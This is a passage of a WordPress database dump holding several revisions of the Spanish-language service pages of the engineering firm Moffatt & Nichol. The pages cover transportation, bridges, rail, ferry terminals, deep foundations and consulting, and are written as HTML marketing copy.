inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancías</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \r\n\r\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\r\n\r\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision-5','','','2012-08-14 04:37:50','2012-08-14 04:37:50','',634,'http://moffattnichol.com/spanish/634-revision-5/',0,'revision','',0),(2727,1,'2012-09-03 10:05:05','2012-09-03 10:05:05','<div class=\"content_faq\"> [anything_slides cat=transportation width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3 id=\"1\">transporte</h3> Habiendo completado proyectos de movimiento de mercancías y de transporte, tanto dentro como más allá del campo tradicional del transporte, la práctica de Moffatt & Nichol reúne los conocimientos de ingeniería civil y estructural de la firma con nuestra singular comprensión de la infraestructura del movimiento de mercancías. Moffatt & Nichol ofrece una gama completa de servicios integrados y proporciona el planeamiento y el diseño para todos los aspectos de calzadas, carreteras, vías férreas y puentes, así como instalaciones intermodales y estructuras relacionadas. Nuestras habilidades técnicas son incrementadas por nuestras capacidades de economía del transporte, que incluyen análisis del financiamiento y de la obtención de fondos, estudios de mercado y pronóstico de la carga terrestre y de contenedores. Aportamos creatividad e innovación a cada misión y nuestra cartera de proyectos presenta tareas complejas y desafiantes que incluyen algunos de los intercambios y rutas de carga más transitados así como los puentes con mayor tráfico en el mundo.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/transportation-services/\">Examinar los servicios de transporte, puentes y ferrocarriles >></a></div>\r\n    &nbsp; <h3 id=\"2\">puentes</h3> Construidos para permitir el transporte por encima de obstáculos físicos, los puentes son un componente básico de todas las redes de transporte que pueden abarcar desde una estructura simple que cruza un riachuelo en su vecindario hasta una estructura representativa utilizada como fondo en anuncios publicitarios. Moffatt & Nichol proporciona capacidades de ingeniería estructural para el planeamiento y el diseño de una amplia gama de puentes. \r\n    \r\n  \r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/roads-bridges-services/\">Examinar los servicios de puentes >></a></div>\r\n    &nbsp; <h3 id=\"3\">ferrocarriles</h3> Los sistemas ferroviarios de carga y pasajeros siguen estando a la vanguardia del desarrollo económico, así como la tendencia hacia el tren suburbano como método más sostenible de transporte. Moffatt & Nichol proporciona un conocimiento técnico especializado en el estudio y diseño en toda la gama del proyecto ferroviario - desde corredores de carga e instalaciones ferroviarias intermodales, hasta corredores de trenes suburbanos y estaciones de pasajeros. Nuestras capacidades relacionadas con ferrocarriles incluyen el planeamiento y la ingeniería para nuevas instalaciones y corredores así como la rehabilitación y modernización de las instalaciones y corredores existentes. La firma ha proporcionado una gama completa de servicios de desarrollo de proyectos ferroviarios que abarcan desde el análisis financiero hasta los servicios de construcción para clientes industriales, comerciales y militares, incluyendo autoridades ferroviarias y de transporte en Europa y América. Esta experiencia da a nuestro personal una amplia perspectiva cuando se trata de anticipar y evitar fallas en la ejecución de proyectos ferroviarios. Nuestras capacidades singularmente especializadas relacionadas con ferrocarriles incluyen la seguridad de pasos a nivel, el análisis de corredores, los impactos del tráfico y la logística de las operaciones.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/railroads-services/\">Examinar los servicios ferroviarios >></a></div>\r\n    &nbsp; <h3 id=\"4\">servicios consultivos comerciales globales</h3> Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/capabilities-and-expertise/\">Examinar los servicios consultivos comerciales globales >></a></div> \r\n  &nbsp;\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">CALIFICACIÓN DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Con más de sesenta años de experiencia, Moffatt &amp; Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Moffatt & Nichol se ha especializado en el planeamiento y diseño de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en Norteamérica, Europa,</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Transporte, puentes y ferrocarriles','','inherit','open','open','','54-revision-5','','','2012-09-03 10:05:05','2012-09-03 10:05:05','',54,'http://moffattnichol.com/spanish/54-revision-5/',0,'revision','',0),(2728,1,'2012-09-11 07:35:13','2012-09-11 07:35:13','<div class=\"middle_col\" style=\"min-height:1051px; border:none; float:left; margin:0; padding:0\"><h1 style=\"text-align: center;\"><img class=\"aligncenter size-full wp-image-2391\" title=\"Thank You\" src=\"http://www.moffattnichol.com/wp-content/uploads/2012/04/thank-you-background.jpg\" alt=\"\" width=\"589\" height=\"258\" /></h1></div>','Thank You ','','publish','open','open','','thank-you','','','2012-09-12 10:45:18','2012-09-12 10:45:18','',0,'http://moffattnichol.com/spanish/?page_id=2728',0,'page','',0),(2729,1,'2012-09-11 07:35:01','2012-09-11 07:35:01','','Thank You ','','inherit','open','open','','2728-revision','','','2012-09-11 07:35:01','2012-09-11 07:35:01','',2728,'http://moffattnichol.com/spanish/2728-revision/',0,'revision','',0),(2730,1,'2012-09-11 07:35:13','2012-09-11 07:35:13','<h1 style=\"text-align: center;\"><img class=\"aligncenter size-full wp-image-2391\" title=\"Thank You\" src=\"http://www.moffattnichol.com/wp-content/uploads/2012/04/thank-you-background.jpg\" alt=\"\" width=\"589\" height=\"258\" />We will contact you soon!!!</h1>','Thank You ','','inherit','open','open','','2728-revision-2','','','2012-09-11 07:35:13','2012-09-11 07:35:13','',2728,'http://moffattnichol.com/spanish/2728-revision-2/',0,'revision','',0),(2731,1,'2012-09-11 07:37:50','2012-09-11 07:37:50','<h1 style=\"text-align: center;\"><img class=\"aligncenter size-full wp-image-2391\" title=\"Thank You\" src=\"http://www.moffattnichol.com/wp-content/uploads/2012/04/thank-you-background.jpg\" alt=\"\" width=\"589\" height=\"258\" /></h1>','Thank You ','','inherit','open','open','','2728-revision-3','','','2012-09-11 07:37:50','2012-09-11 07:37:50','',2728,'http://moffattnichol.com/spanish/2728-revision-3/',0,'revision','',0),(2734,1,'2012-09-11 07:48:35','2012-09-11 07:48:35','','Thank You','','inherit','open','open','','thank-you-background','','','2012-09-11 07:48:35','2012-09-11 07:48:35','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/09/thank-you-background.jpg',0,'attachment','image/jpeg',0),(2737,1,'2012-09-10 13:12:29','2012-09-10 13:12:29','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=transportation width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n[vslider name=\"transportation\"] <h3>transporte</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancías</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \r\n\r\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\r\n\r\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision-6','','','2012-09-10 13:12:29','2012-09-10 13:12:29','',634,'http://moffattnichol.com/spanish/634-revision-6/',0,'revision','',0),(2738,1,'2012-09-12 06:36:17','2012-09-12 06:36:17','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=transportation width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n<br />\r\n<br />\r\n\r\n[vslider name=\"transportation\"] <h3>transporte</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancías</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \r\n\r\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\r\n\r\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision-7','','','2012-09-12 06:36:17','2012-09-12 06:36:17','',634,'http://moffattnichol.com/spanish/634-revision-7/',0,'revision','',0),(2739,1,'2012-09-12 06:37:28','2012-09-12 06:37:28','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=transportation width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n&nbsp;\r\n\r\n&nbsp;\r\n[vslider name=\"transportation\"] \r\n  <div class=\"global-services_one\">\r\n<h3>transporte</h3>\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio 